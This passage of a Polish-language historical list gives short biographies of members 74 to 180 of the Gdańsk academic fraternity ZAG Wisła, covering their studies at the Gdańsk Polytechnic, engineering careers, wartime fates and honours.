  74. Janusz Goetzendorf-Grabowski, (5 lipca 1902 w Warszawie - 7 marca 1968 w Łodzi) herbu Zbiświcz, s. Augustyna i Anny z Gomolewskich, absolwent Państwowego Gimnazjum Klasycznego w Lesznie Wlkp. 1923, jako ochotnik uczestniczył w powstaniu wielkopolskim 1919 oraz w wojnie polsko-bolszewickiej 1920, student prawa UP, później student i absolwent (inż. mechanik i energetyk) PG 1926-31, po studiach od 1935 inż. ruchu w Fabryce Celulozy i Papieru „NATRONAG” w Kaletach 1935-39, por. rez., jako ochotnik w wojnie obronnej 1939 dowódca baterii 3 Pułku Artylerii Polowej, po powrocie do domu aresztowany przez Niemców i wysiedlony z rodziną do tzw. Generalnej Guberni, pracował w Fabryce Papieru w Częstochowie, a od 1940 w Fabryce Celulozy w Niedomicach, od stycznia 1945 kierownik techniczny Fabryki Celulozy i Papieru „NATRONAG” w Kaletach, od września 1945 dyrektor naczelny Krapkowickich Zakładów Papierniczych w Kaletach, po zatargu z partią PPR i szykan na tle pochodzenia społecznego odwołany z zajmowanego stanowiska 1948, następnie kolejno: w giżyckiej delegaturze Biura Budowy Przemysłu Papierniczego w Łodzi, generalny projektant budowanej w Ostrołęce Fabryki Celulozy i Papieru, od 1959 dyrektor Centralnego Biura Technicznego Przemysłu Papierniczego w Łodzi, a od 1962 główny specjalista d/s energetyki w Biurze Projektowym Przemysłu Papierniczego, autor szeregu publikacji fachowych publikowanych w „Przeglądzie Papierniczym”, współautor „Poradnika Papiernika” oraz pierwszej książki - podręcznika, obejmującej całość zagadnień związanych z produkcją celulozy pt. „Produkcja celulozy z drewna” (Warszawa 1957), odznaczony medalem „Na Polu Chwały 1920 r.” i Krzyżem Niepodległości, a w PRL-u Srebrnym Krzyżem, pochowany na Cmentarzu Katolickim na Dołach w Łodzi

  75. Adam Gronwald, inż. mechanik, przed wojną w Łodzi
  76. Eugeniusz Haja, (ok. 1905 - ) student Wydziału Chemicznego PG 1925-39
  77. Stanisław (Jan Stanisław) Hasse, (1 lipca 1895 w Janiszewku k. Pelplina - 4 października 1942 w Dachau) absolwent Gimnazjum w Świeciu nad Wisłą, student Wydziału Budowy Maszyn PG 1920-22, ukończył studia (inż. budowy turbin) na Politechnice w Karlsruhe 1926, po studia radca Dyrekcji Kolei Państwowych w Gdańsku, w tym przed wojną jako naczelnik Parowozowni Gdynia, czynny działacz Polonii, aresztowany we wrześniu 1939 przez Gestapo, więzień obozów Stutthof, Oraninienburg-Neuengamme, a od kwietnia 1942 Dachau, zamordowany
  78. Juliusz Hebel, (21 lipca 1915 w Gdyni - 6 listopada 1996 w Świnoujściu) student Wydziału Budowy Okrętów PG 1936-39, kierownik Inspektoratu Rybołówstwa Morskiego w Gdańsku 1945, następnie dyrektor „Dalmoru” w Gdyni, w latach 70-tych dyrektor Zjednoczenia Gospodarki Morskiej i rybołówstwa w Szczecinie, odznaczony m.in. Orderem Budowniczych PRL
  79. Heftman,
  80. Ludwik Henikowski, inż. mechanik, przed wojną zamieszkały w Radomiu
  81. Marian Herbutowski, student Wydziału Budowy Okrętów PG 1937-39
  82. Wacław Hewelt, (ok. 1900 - 1966 w Sopocie) student Wydziału Budownictwa Lądowego PG 1919-, wiceprezes Związku Akademików Gdańskich, autor nowego statutu z okresu przekształcania się Związku korporację akademicką ZAG Wisła, ukończył studia oraz obronił doktorat na Politechnice w Karlsruhe, prof.
  83. Feliks Hilchen, przed wojną w Warszawie
  84. Alfons Hoffmann, (12 listopada 1885 w Grudziądzu - 30 grudnia 1963 w Gdańsku) absolwent Gimnazjum Królewskiego w Grudziądzu 1905, student i absolwent Wydziału Elektrycznego PG 1905-11, początkowo członek niemieckiej Korporacji Pruthenia, z której wystąpił, organizował na Kaszubach kółka śpiewacze, szkolił dyrygentów i współorganizował występy ludowych teatrów, założył i kierował gdańskim chórem “Lutnia” 1908, w 1910 zorganizował Związek Kaszubskich Kół Śpiewaczych, a w 1912 Pomorski Związek Kół Śpiewaczych, po studiach pracował w zakładach Garbe-Lauhmeyer w Akwizgranie 1911-14, a następnie w firmie “Siemens-Schuckert” w Berlinie 1914-17, kierownik elektrowni w Koronowie 1917, członek zarządu “Sokoła”, po zakończeniu wojny organizator tajnej “Wojskowej Organizacji Pomorza”, w 1920 kierował z ramienia władz polskich ukończeniem budowy elektrowni “Gródek” nad Czarną Wodą, dyrektor tej elektrowni, projektant elektrowni “Żur” na Czarnej Wodzie oraz elektrowni w Koronowie (zbudowana 1960) i Gdyni (zbudowana 1936), dyrektor największej polskiej elektrowni w Chorzowie 1938, w czasie wojny pod zmienionym nazwiskiem ukrywał się przed Gestapo, po wojnie kierował odbudową elektrowni na rzece Raduni, od 1949 wykładowca PG, od 1955 członek Komitetu Gospodarki Wodnej PAN, generalny projektant w zakresie energetyki wodnej, prof. nadzw. 1958, odznaczony Srebrnym Krzyżem Zasługi, Oficerskim Krzyżem OOP 1957, Złotą Odznaką Stowarzyszenia Elektryków Polskich
  85. Marian Holtorf, inż. chemik, przed wojną zamieszkały w Warszawie
  86. Edward Hundke(Hundtke), (ok. 1910 - po 1945 w Monachium) student wydziału Mechanicznego PG 1931-38, wyjechał do Monachium
  87. Józef Iwicki, (10 kwietnia 1891 w Człuchowie - 9 stycznia 1988 w Katowicach) s. Jana i Ireny Schedlin-Czarlińskiej, absolwent Gimnazjum w Wejherowie 1912, w czasach gimnazjalnych członek tajnego Towarzystwa Tomasza Zana, student i absolwent Wydziału Budowy Maszyn PG 1912-23 (22?), założyciel Związku Akademików Gdańskich 1913 i pierwszy skarbnik Związku, w czasie wojny w armii niemieckiej, głównie na froncie we Flandrii, a w latach saper w WP 1918-21, służbę zakończył w stopniu kapitana, po studiach najpierw jako inż. konstruktor, a później do 1939 i po 1945 jako dyrektor w Piotrowickiej Fabryce Maszyn S.A. w Katowicach, jako bezpartyjny zwolniony w 1950, w czasie wojny więzień Dachau 1940-41, kontroler techniczny w Przedsiębiorstwie Montażowym Urządzeń Górniczych 1950-60, odznaczony m.in. Srebrnym Krzyżem Zasługi, Krzyżem Oficerskim OOP, napisał książkę ”Z myślą o Niepodległej. Listy Polaka żołnierza armii niemieckiej w okopach I wojny światowej 1914-1918″ (wyd. Ossolineum, Wrocław 1978), pochowany na cmentarzu w Katowicach [biogram (w:) Słownik biograficzny Pomorza Nadwiślańskiego, t. 3, Gdańsk 1994]

    Marian Jabłoński, 1927 r.

  88. Marian Jabłoński, (ok. 1900 - lata 60-te w Gdańsku) student Wydziału Budowy Maszyn PG 1922-38, członek Zarządu Bratniej Pomocy Studentów PG, po wojnie pracował w Stoczni Gdańskiej

  89. Julian Jacuński, inż. mech., przed wojną w Warszawie
  90. Witold Jakusz, inż. mech., przed wojną w Warszawie
  91. Julian Jaworski, przed wojną inż. firmy „Austro-Daimler” w Warszawie
  92. Bolesław Kalinowski, (20 października 1899 - 26 sierpnia 1987 w Gdańsku) uczeń Gimnazjum Klasycznego w Gdańsku, walczył w armii niemieckiej w Szampanii, absolwent Gimnazjum w Malborku 1919, student Wydziału Budownictwa Lądowego PG 1919-28, ochotnik w wojnie polsko-rosyjskiej 1920,pracował m.in. w Biurze Projektów Budownictwa Morskiego “Projmors”
  93. Józef Kamler, inż. mechanik, przed wojną mieszkał w Warszawie
  94. Joachim Kamrowski, (1917 w Gdyni - ) student Wydziału Budowy Maszyn PG 1936-39, w wojnie obronnej 1939 w jednostkach broniących w Gdyni, w niewoli niemieckiej, po wojnie wyemigrował do Wielkiej Brytanii
  95. Zygmunt Kapaon (Kapoan), inż. mechanik, przed wojną mieszkał w Warszawie, członek Komisji Rewizyjnej Związku Filistrów ZAG Wisła
  96. Bronisław Kędzierski, dr medycyny, specjalista chorób płucnych, przed wojną w Sopocie
  97. Kazimierz Klein, inż. chemik, przed wojną właściciel fabryki chemicznej w Warszawie
  98. Konstanty Klimaszewski, (ok. 1915 - grudzień 1940) student Wydziału Budowy Maszyn PG 1936-39, działacz starszoharcerski, w czasie okupacji w AK, jeden z organizatorów Szarych Szeregach, aresztowany przez Gestapo, zamordowany
  99. Felicjan Klonowski, (4 czerwca 1904 w Opolu - 28 grudnia 1996 w Kaletach) s. Józefa i Heleny z d. Brück , absolwent Staatsgimnasium w Gliwicach, uczestnik II powstania śląskiego, student i absolwent (inż. chemik) PG 1926-30, po studiach kierownik laboratorium, a następnie główny technolog i chemik Fabryki Celulozy i Papieru “Natronag” w Kaletach 1930-39, ochotnik jako łącznik sztabowy w Krakowskiej Brygadzie Kawalerii w wojnie obronnej 1939, ranny 1 września pod Jędrzejowem, przedostał się przez Rumunię do Francji, gdzie ukończył podchorążówkę Coëtquidan, później ewakuowany do Wielkiej Brytanii, żołnierz PSZ na Zachodzie, po zdemobilizowaniu w stopniu podporucznika wrócił w 1946 (1947?) do kraju, dyrektor techniczny Krapkowickich Zakładów Papieru w Kaletach, dyrektor techniczny w Fabryce Celulozy i Papieru w Krapkowicach 1951-54, naczelny inżynier Szczecińskich Zakładów Papierniczych w Skolwinie 1954-55, a następnie w Rudawskiej Fabryce Papieru 1955-57 oraz Krapkowickich Zakładach Papieru w Kaletach 1957-63, od 1963 na stanowisku kierownika transportu, w 1970 przeszedł na emeryturę, prezes Klubu Sportowego w Kaletach, członek Koła ZBOWiD, oznaczony Defence Medal, War-Medal 1939-45, Medalem za Udział w Wojnie Obronnej 1939, Krzyżem Kawalerskim i Krzyżem Komandorskim OOP, Złotym Krzyżem Zasługi, Medalem Zwycięstwa i Wolności, pochowany na cmentarzu w Kaletach-Miotku. Źródła [poza wskazanymi poniżej listy członków]: Leszek Goetzendorf-Grabowski, Felicjan Klonowski (1904-1997), “Przegląd Papierniczy” 2005, s. 176; relacja Aleksandry Klonowskiej]

    Źródła [poza wskazanymi poniżej listy członków]: Leszek Goetzendorf-Grabowski, Felicjan Klonowski (1904-1997), “Przegląd Papierniczy” 2005, s. 176; relacja Aleksandry Klonowskiej.

  100. Zygmunt Klonowski, dr chemik, przed wojną dyrektor Przetwórni Olejów Roślinnych w Radomiu
  101. Kazimierz Józef Kniat, (2 marca 1897 w Obornikach Wlkp. -3 lutego 1964) jako gimnazjalista uczestniczył w Powstaniu Wielkopolskim, matura Poznań, student i absolwent Wydziału Budowy Maszyn PG 1922-28, od czasów studenckich pracował w DOKP w Bydgoszczy, Gdańsku i Toruniu, w czasie wojny więziony, później przez trzy lata na robotach przymusowych, a w końcu w obozie koncentracyjnym Oranienburg-Schsenhausen, po wojnie pracował w dyrekcjach PKP zazwyczaj jako naczelnik wydziałów mechanicznych we Wrocławiu, Katowicach, Warszawie, Lublinie, a od 1951 w Gdańsku, pochowany w Gdańsku-Oliwie
  102. Czesław Knoff, inż. chemik, przed wojną zamieszkały w Warszawie
  103. Napoleon Korzon, inż., przed wojną dyrektor firmy „Robur” w Gdańsku
  104. Józef Kostro, ( - 1942 w Stutthofie) student Wydziału Elektrycznego PG 1921-28, żołnierz AK, aresztowany przez Gestapo, zesłany do obozu koncentracyjnego do Stutthofu, tam zamordowany
  105. Witold Kraszewski, inż. chemik, przed wojną docent USB w Wilnie
  106. Włodzimierz Krauze, (ok. 1915 - ) student Wydziału Budowy Maszyn PG 1937-39, w czasie wojny przedostał się na Zachód, pozostał na emigracji w Kaliforni w Stanach Zjednoczonych
  107. Wiktor Krokowski, inż. chemik, ppłk rez., przed wojną zamieszkały w Warszawie
  108. Kornel Kubacki, inż. chemik, przed wojną właściciel fabryki „Zieliński i S-ka” w Warszawie
  109. Stanisław Kuhmayer, przed wojną zamieszkały w miejscowości Milanówek
  110. Alojzy Kujawski, (ok. 1913 - ) student Wydziału Budownictwa Lądowego PG 1928-34

    Juliusz Kulerski, 1927-1928 r.

  111. Juliusz Kulerski, (ok. 1900 - 1963) z Grudziądza, student Wydziału Budowy Maszyn PG 1922-28, po studiach przed i po wojnie pracował w Stoczni Gdańskiej

  112. Bohdan Kunstetter, inż. architekt, przed wojną zamieszkały w Warszawie
  113. Rafał Kurnatowski, ( - 1938/39) inż., przed wojną Naczelny Inspektor ceł w Wolnym Mieście Gdańsk

    Tadeusz Lampe.

  114. Tadeusz Lampe, (ok. 1914 - 1944 w Warszawie) student Wydziału Budowy Maszyn PG 1934-39, członek Zarządu Bratniej Pomocy Studentów PG, żołnierz AK, poległ w Powstaniu Warszawskim

  115. Wiktor Lampe, przed wojną dr filozofii, prof. UW
  116. Stanisław Lenczewski, (ok. 1915 - 10 sierpnia 1986 w Warszawie) student Wydziału Elektrycznego PG 1936-39, działacz rzemieślniczy, m.in. członek SD, członek Prezydium CK SD oraz wiceprzewodniczący CK SD, poseł na Sejm PRL VI kadencji, Honorowy Przewodniczący Krajowej Rady Rzemiosła, odznaczony Orderem Budowniczego Polski Ludowej, Orderem Sztandaru Pracy II klasy, oraz Krzyżem Kawalerskim i Komandorskim OOP
  117. Andrzej Leppert, student Wydziału Budowy Maszyn PG 1937-39
  118. Kazimierz Leśkiewicz, inż., przed wojną zamieszkały w Warszawie
  119. Hipolit Liciński, dr chemik, przed wojną dyrektor Cukrowni „Opalenica” k. Poznania
  120. Brunon Liepich, “Inżynier mechanik, przed wojną zamieszkały w Sosnowcu”
  121. Roman Lipowicz, (4 listopada 1900 w Rybniku - 9 listopada 1991 w Gdańsku) student prawa UP 1920/21, student i absolwent Wydziału Mechanicznego PG 1922-28, po studiach pracował w Związku Spółdzielni Rolniczych w Warszawie, w wojnie obronnej 1939 w II Batalionie Balonowym, internowany na Węgrzech, a od 1940 w niemieckim stalagu, wyreklamowany do pracy w Związku Spółdzielni Rolniczych, po 1945 pracował jako projektant urządzeń chłodniczych, od 1948 wykładowca PG, w 1953 twórca i kierownik Katedry Urządzeń Chłodniczych, od 1963 prof. nadzw. PG, wraz ze współpracownikami zaprojektował kilkanaście sztucznych lodowisk w Polsce, m.in. w Łodzi, Nowym Targu, Hali Olivia w Gdańsku oraz projektów chłodni mleczarskich, wytwórni lodu, instalacji klimatyzacyjnych, lodówek, Zastępcą Przewodniczącego Komitetu Koordynacji Badań Naukowych w Chłodnictwie, członek Rady Naukowej Centralnego Laboratorium Chłodnictwa, pochowany na Cmentarzu Łostowice
  122. Julian Lisiecki, inż. architekt, przed wojną zamieszkały w Warszawie
  123. Brunon Litewski, (ok. 1893 - ) student Wydziału Budowy Maszyn PG 1913-21, założyciel Związku Akademików Gdańskich 1913
  124. Stefan Lorenz, (ok. 1910 - ) student Wydziału Elektrycznego PG 1931-39, w 1950 wyjechał do Niemiec
  125. Jan Lutostański, inż. mechanik, przed wojną szef Polskiej Wytwórni Papier. Wartościowych w Warszawie
  126. Zenon Łubieński, inż. chemik, przed wojną obywatel ziemski Poczta Subkowy (Pomorze)
  127. Wiesław Łukomski, (17 marca 1899 w Śmiglu - 17 sierpnia 1982) student Wydziału Budowy Maszyn PG 1922-30, prezes i dwukrotnie wiceprezes Wisły, olderman sem. zim. 1924/25, organizator wycieczek do Szwajcarii Kaszubskiej, brał udział w akcji propagandowej na rzecz polskiej listy w wyborach do Volkstagu, pracował w przedsiębiorstwach budowlanych, oficer rez., uczestnik wojny obronnej 1939, jeniec oflagu

    Witold Mackiewicz, ok. 1911 r.

  128. Witold Mackiewicz, (10 lipca 1880 w Warszawie - 10 marca 1944 w Strzyżowie nad Bugiem) s. Grzegorza i Scholastyki z Jamonttów, brat Józefa (Venedya), absolwent Gimnazjum w Słucku, student Wydziału Elektrotechnicznego Instytutu Politechnicznego w St. Petersburgu oraz student i absolwent Wydziału Elektrycznego Technische Hochschule Fridericiana w Karlsruhe 1905-12, w czasie I wojny światowej inż. elektryk w elektrowni pod Moskwą, do Polski powrócił w 1925, osiadł w Łodzi, od 1927 kierownik wydziału i prokurent Elektrowni Łódzkiej, a następnie wicedyrektor Elektrowni, aktywny członek Kościoła Ewangielicko-Reformowanego w Łodzi, m.in. prezes Kolegium Kościelnego, w 1940 aresztowany pod zarzutem namawiania robotników Fabryki Johna (Fabryka Maszyn i Odlewnia Żeliwa J. John) do sabotażu, więziony na Radogoszczu w Łodzi, uwolniony na wskutek wstawiennictwa kolegów inżynierów pochodzenia niemieckiego, później ponownie uwięziony w Łowiczu, zwolniony w 1943 chory na gruźlicę, mieszkał w Warszawie, Otwocku i Strzyżowie nad Bugiem, pochowany w Horodle (na podstawie relacji rodziny)

  129. Tadeusz Majewski, inż. architekt, przed wojną zamieszkały w Warszawie
  130. Alfred Majzner, ( - 1940 w Katyniu ?) student Wydziału Budowy Maszyn PG 1932-39, pchor. rez., w niewoli sowieckiej ?, zamordowany przez NKWD ?
  131. Hugon Mampe, z Kaszub, c. 1914

    Wacław Manduk, 1928 r.

  132. Wacław Manduk, ( - 1 sierpnia 1945 w Warszawie) inż. chemii, mgr farmacji, właściciel apteki w Warszawie, wieloletni prezes Związku Filistrów ZAG Wisła 1928(?)-39, skarbnik Związku Organizacji Filisterskich, Kawaler Dyplomu Zasługi i Złotej Odznaki ZPKA, aresztowany i zamordowany przez UB w Warszawie

  133. Bronisław Massalski, inż. mechanik, przed wojną w Warszawie, członek Komisji Rewizyjnej Związku Filistrów ZAG Wisła 1939
  134. Konstanty Massalski, inż. elektryk, przed wojną w Warszawie
  135. Jan Mączyński, (1893 - po 1945) student i absolwent Wydziału Budowy Maszyn PG 1913-23 (z wojenną przerwą), skarbnik ZAG Wisła
  136. Eugeniusz Meyer, inż. budowlaniec, współorganizator Bratniej Pomocy Studentów PG 1921, przed wojną mieszkał w Gdyni
  137. Medard Męczykowski, (1888 w Bytonii k. Starogardu Gdańskiego - 1 listopada 1939 w Dolinie Śmierci k. Bydgoszczy) członek koła Filomatów Pomorskich najpierw w Gimnazjum w Wejherowie, a następnie w Gdańsku, student Wydziału Budownictwa Lądowego PG 1911-20 (z przerwą w okresie I wojny światowej), założyciel i drugi prezes Związku Akademików Gdańskich 1913, działacz Organizacji Wojskowej Pomorza 1918-19, po studiach pracował do 1925 w Urzędzie Wojewódzkim w Toruniu, kierował elektrownią w Bydgoszczy, od 1930 wykładowca matematyki w Gimnazjum im. Mikołaja Kopernika w Bydgoszczy, we wrześniu 1939 aresztowany przez Gestapo i rozstrzelany
  138. Bronisław de Michelis, (1 sierpnia 1870 - 10 grudnia 1960 w Łodzi) z Lublina, s. Marcina i Matyldy z Hińczów, uczeń Gimnazjum w Lublinie, student UW, student i absolwent Wydziału Mechanicznego PR 1890-97, członek Korporacji Welecja w Rydze, asystent prof. Marian Grüblera, a później prof. Richarda Henniga PR, następnie studiował na Politechnice w Karlsruhe, pracował w przędzalni bawełny Karola Seiblera w Łodzi, naczelny inż. zakładów przemysłu bawełnianego L. Geyera 1909-39, członek Państwowej Rady Elektrycznej 1922-28, prezes Łódzkiego Stowarzyszenia Techników 1932-38, filister kooptowany K! ZAG Wisła w Gdańsku, naczelnik Energetyki i Ruchu w Centralnym Zarządzie Przemysłu Włókienniczego 1945, pracownik naukowy w Głównym Instytucie Włókiennictwa 1949-58
  139. Zbigniew Mierzyński, (23 września 1911 w Charkowie - 1994) student i absolwent Wydziału Elektrycznego PG 1930-36, prezes ZAG Wisła, II wiceprezes sem. let. 1933/34, po studiach pracował jako inż. ruchu w Elektrowni “Św. Jerzy” w Janowie Śląskim, oficer rez., uczestnik wojny obronnej 1939, w kampanii francuskiej 1940 w 10 Brygadzie Kawalerii Pancernej w Szampanii, w niewoli niemieckiej w Stalagu I A, zwolniony, pracuje społecznie w polskim schronisku w Albertville, przez Hiszpanię dostał się w 1944 do Wielkiej Brytanii, do 1947 jako oficer łącznikowy w Centrum Wyszkolenia Służb Technicznych Saperów PSZ na Zachodzie w Aberdeen, w 1947 wrócił do kraju, pracował w Elektrowni “Zabrze” 1947-51 i jako specjalista i kierownik Działu Wykonawstwa Elektrowni i Elektrociepłowni w Zakładach Energetycznych Okręgu Południowego w Katowicach, odznaczony m.in. Krzyżem Kawalerskim OOP
  140. Bronisław Milewski, kupiec, przed wojną dyrektor Handlowy M.Z.E. Gdynia
  141. Edmund Mizerski, (1894 - po 1945) student i absolwent Wydziału Budownictwa Lądowego PG 1914-1928 (z przerwą wojenną), czynny w przekształcaniu ZAG w Korporację ZAG Wisła 1921, współorganizator Domu Akademickiego
  142. Józef Modrzejewski, ( - 1938/39) inż. chemik, przed wojną dyrektor Gazowni Lublin
  143. Stefan Moździeński, ( - luty 1926) prezes Koła Karlsruheńczyków (?), inicjator przyłączenia Koła do Związku Filistrów ZAG Wisła, prezes Związku Filistrów
  144. Stanisław Muller, inż. mechanik, przed wojną naczelny dyrektor Spółki Akcyjnej G. Ulrich Konstancin pod Warszawą
  145. Władysław Muller, przed wojną ziemianin, właściciel maj. Somianka w pow. wyszkowskim
  146. Jan Muszalski, przed wojną zamieszkały w Warszawie
  147. Roman Narosz, ( - 1940 w Warszawie) student Wydziału Budowy Maszyn PG 1928-32
  148. Teobald Neumann, (20 września 1899 we Władysławowie k. Turku - po 1975) absolwent Gimnazjum w Łodzi, student i absolwent Wydziału Budowy Maszyn PG 1920-24, od 1930 naczelnik Oddziału Mechanicznego DOKP w Gdańsku, od 1933 naczelnik Parowozowni Głónej Bydgoszcz-Wschód, w czasie okupacji poszukiwany przez Gestapo, od 1944 naczelnik Wydziału Budowy Maszyn DOKP w Lublinie, od 1949 dyrektor Centralnego Zarządu Wagonów, a następnie dyrektor Departamentu Techniki także w Ministerstwie Komunikacji, w tym czasie działał również w Radzie Technicznej przy Ministrze Komunikacji i w Głównej Komisji Elektroniki przy PAN, przez 24 lata red. “Przeglądu Kolejowego-Mechanicznego”, na emeryturze pracował w Centralnym Ośrodku Badań i Rozwoju Kolejnictwa, odznaczony Krzyżem Kawalerskim OOP
  149. Henryk Nędzyński, (ok. 1915 - ) student Wydziału Budownictwa Lądowego PG 1936-39

    Bernard Nowaczyk.

  150. Bernard Nowaczyk, (12 sierpnia 1915 w Rychwale k. Konina - 15 grudnia 1982 w Poznaniu) s. Antoniego i Stanisławy z d. Rutkowska, uczeń Gimnazjum Bergera, a następnie uczeń i absolwent Gimnazjum im. Ignacego Jana Paderewskiego 1934, student Wydziału Matematycznego UP 1934-35, student Wydziału Budowy Maszyn PG 1935-39, prezes Wisły, członek Zarządu Bratniej Pomocy Studentów PG, współwłaściciel Wytwórni Rowerów i Motocykli Bracia Nowaczyk w Poznaniu, w czasie wojny urzędnik w Rychwale, dpl. inż. PP 1946, w latach 70-tych dpl. mgr Wydział Melioracji Wodnych Akademii Rolniczej w Poznaniu, współwłaściciel Wytwórni Chemicznej w Poznaniu 1945-50, w dyrekcji Budowli Osiedli Robotniczych w Poznaniu 1950-54, od 1954 w Wojewódzkim Biurze Projektów Budownictwa Wiejskiego w Poznaniu, później w Poznańskim Biurze Projektów Wodno-Melioracyjnych oraz na Wydziale Melioracji Wodnych Akademii Rolniczej w Poznaniu, autor licznych książek i publikacji w zakresie urządzeń deszczownianych, odznaczony odznaką honorową “Za zasługi dla Rozwoju Województwa Poznańskiego”

  151. Zdzisław Nowak, ( - luty 1944 w Poznaniu) student Wydziału Budowy Maszyn PG 1929-34, II wiceprezes sem. zim. 1933/34, prezes 1934, prezes sem. let. 1935/36, prezes Gdańskiego Koła Międzykorporacyjnego 1937, aresztowany przez Gestapo w Poznaniu za przynależność i działalność w NOW, rozstrzelany w Forcie VII w Poznaniu
  152. Leon Nowakowski, przed wojną mieszkał w Warszawie
  153. Stefan Nowicki, inż. mechanik, przed wojną naczelny dyrektor Spółki Akcyjnej „Gebethner i Wolff”
  154. Kazimierz Ołdakowski, dyrektor Zakładów Metalowych “Łucznik” 1929-39
  155. Roman Ostapowicz, (1918 - 14 maja 1999 w Warszawie) student Wydziału Architektury PG 1935-39, c. 1936, po wojnie mgr inż. architekt PW, pracował m.in. w Biurze Projektów “Warcent” w Warszawie, wiceprezes 1993-95, zastępca członka Zarządu 1995-97 Stowarzyszenia Filistrów Polskich Korporacji Akademickich
  156. Tomasz Pacyński, (1 września 1918 w Poznaniu - 1918 w Poznaniu) s. Antoniego (Lechia), brat Adama i Jacka (obaj Helionia), absolwent Gimnazjum Św. Marii Magdaleny, student Wydziału Lotniczego PG, c. 1937, studia ukończył po wojnie PWr. (inż. mechanik) 1957, w czasie okupacji od 1942 szef Wydziału V Komendy Okręgu Poznańskiego NOW-AK, więziony przez władze komunistyczne 1945-54, pracował do emerytury w 1985 w Biurze Konstrukcyjnym Przemysłu Maszynowego Leśnictwa we Wrocławiu (przekształconym w Ośrodek Badawczo-Rozwojowy Przemysłu Maszynowego Leśnictwa), m.in. jako główny konstruktor i dyrektor, autor szeregu patentów, odznaczony Złotym Krzyżem Zasługi i Złotą Odznaką Stowarzyszenia Inżynierów i Techników Leśnictwa
  157. Jerzy Paczkowski, student Wydziału Budowy Okrętów PG 1927-34
  158. Tadeusz Pasierbiński, (ok. 1908 - 1939) student Wydziału Budowy Maszyn PG 1908-19, współorganizator ZAG “Wisła”, ppor. rez., poległ w wojnie obronnej 1939
  159. Jan Patzer, przed wojną członek Rady Zjednoczenia Browarów „Haberbusch i Schiele”, zamieszkały w Warszawie
  160. Robert Paulini, student Wydziału Mechanicznego PG 1907-17
  161. Bronisław Pawłowski, inż., przed wojną mieszkał w Sosnowcu
  162. Mieczysław Perkowski, inż. chemik, przed wojną mieszkał w Warszawie
  163. Jan Tadeusz Piasecki, (24 października 1903 w miejsc. Osięciny - 13 grudnia 1981) absolwent Gimnazjum we Włocławku 1922, student 1922-30 i absolwent 1931 Wydziału Elektrycznego PG, olderman sem. let. 1930/31, po studiach pracował w Gdyńskich Zakładach Elektrycznych 1931-33, w Elektrowni Miejskiej w Słonimiu 1933-35 i wreszcie w Elektrowni Warszawskiej 1935-44, w czasie okupacji w Komendzie Dywersji AK ps. “Tels”, walczył w Powstaniu Warszawskim w zgrupowaniu “Elektrownia”, po wojnie wykładał PG 1946-74, prof. nadzw. 1962, odznaczony Krzyżem Kawalerskim OOP
  164. Wacław Piechulek, (ok. 1905 - ) student Wydziału Chemicznego PG 1925-31, po wojnie na emigracji w Australii
  165. Edmund Pieczyński (Pieczynaski), ( - po 1945 na Pomorzu) z Pomorza, od 1907 student Wydziału Elektrycznego PG, początkowo członek niemieckiej Korporacji Pruthenia, z której wystąpił
  166. Piegłowski, (ok. 1890 - ) student PG 1910-14
  167. Julian Piepke, (ok. 1894 - 1915 w Warszawie) z Kaszub, student Wydziału Budowy Maszyn PG 1914, c. 1914, współorganizator kolonii letnich dla dzieci polskich z Gdańska, pilot wycieczek polskich z Kongresówki po Szwajcarii Kaszubskiej, w 1915 wcielony do armii niemieckiej, zmarł od odniesionych ran w szpitalu
  168. Józef Pietruszka, (ok. 1916 - 1980 w Gdańsku) student Wydziału Budowy Maszyn Okrętowych PG 1936-39, w czasie okupacji w AK, uczestnik Powstania Warszawskiego, po wojnie pracował jako konstruktor w Stoczni Gdańskiej im. Lenina
  169. Jan Piotrowski, przed wojną zamieszkały w Gdyni, przedstawiciel firmy “Giesche i Sp.” w Gdyni
  170. Wacław Piotrowski, dr inż., przed wojną dyrektor Towarzystwa Naftowego „Limanowa” w Drohobyczu
  171. Andrzej Płachciński, (20 stycznia 1912 w Warszawie - 16 grudnia 1944 w Altengrabow) absolwent Gimnazjum w Warszawie 1929, student Wydziału Architektury PG 1929-32, członek zarządu Bratniej Pomocy Studentów PG, po uzyskaniu półdyplomu przeniósł się na Politechnikę w Wiedniu, którą ukończył w 1935, członek zarządu Bratniej Pomocy, w czasie okupacji żołnierz AK, walczył w Powstaniu Warszawskim w zgrupowaniu “Waligóra” płk J. Tarnowskiego na Woli, a następnie na Starówce i w Śródmieściu, po kapitulacji wywieziony do stalagu XIA Altengrabow, zmarł w szpitalu
  172. Stanisław Podciechowski, (ok. 1909 - 1941 w Warszawie) student Wydziału Budowy Maszyn PG 1928-33, I wiceprezes sem. zim. 1932/33, studia ukończył w Belgii
  173. Henryk Podhorodeński, inż., przed wojną zamieszkały w Warszawie
  174. Stanisław Poradowski, inż. elektryk, przed wojną prof. Szkoły Morskiej w Gdyni
  175. Edward Potempski, inż. elektryk, przed wojną zamieszkały w Warszawie [prawd. Edward Potempski (27 marca 1876 - 21 września 1936), z gub. kijowskiej,s. Hieronima, brat Wacława (Arkonia), uczeń Gimnazjum w Kijowie, student i absolwent Wydziału Mechanicznego PR 1894-1902, przyjęty do Arkonii 1894 (nr ew. 605), dyrektor techniczny pierwszej polskiej fabryki żarówek “Cyrkon” w Warszawie 1911-16 oraz 1920-24, inż. w Towarzystawie “Cedergreen” w Warszawie, w II RP dyrektor techniczny Polskich Zakładów Elektrycznych “Brown-Boweri” w Warszawie 1924-30, pracował w biurze elektrotechnicznym “Inż. Woyzbund & Ko.” w Warszawie, doc. prywatny PW, prezes Stowarzyszenia Organizacji i Gospodarki Świetlnej, członek zarządu Stowarzyszenia Techników Polskich, współzałożyciel i członek SEP, prowadził ożywioną działalność redaktorską i publicystyczną, m.in. w Przeglądzie Technicznym i Przeglądzie Elektrotechnicznym, czasopiśmie Światło i Siła]
  176. Stanisław Pozowski, ( - 1 grudnia 1934) inż. chemik

    Herman Prawic, 1927 r.

  177. Herman Prawic, (ok. 1901 - ) student Wydziału Architektury PG 1921-29, prezes sem. zim. 1924/25

  178. Stanisław Pręczykowski, inż. mechanik, przed wojną dyrektor Cementowni Gdynia
  179. Stefan Przanowski, (12 kwietnia 1874 w Słupcy - 17 lutego 1938 w Krakowie)
  180. Stanisław Przedpełski, (ok. 1912 - 1944) student Wydziału Budowy Maszyn PG 1932-39, II wiceprezes Bratniej Pomocy Studentów PG 1939/31, oficer w pułku artylerii polowej II Korpusu PSZ we Włoszech, zmarł w szpitalu wojennym wskutek odniesionych ciężkich obrażeń, pochowany na cmentarzu w Bolonii
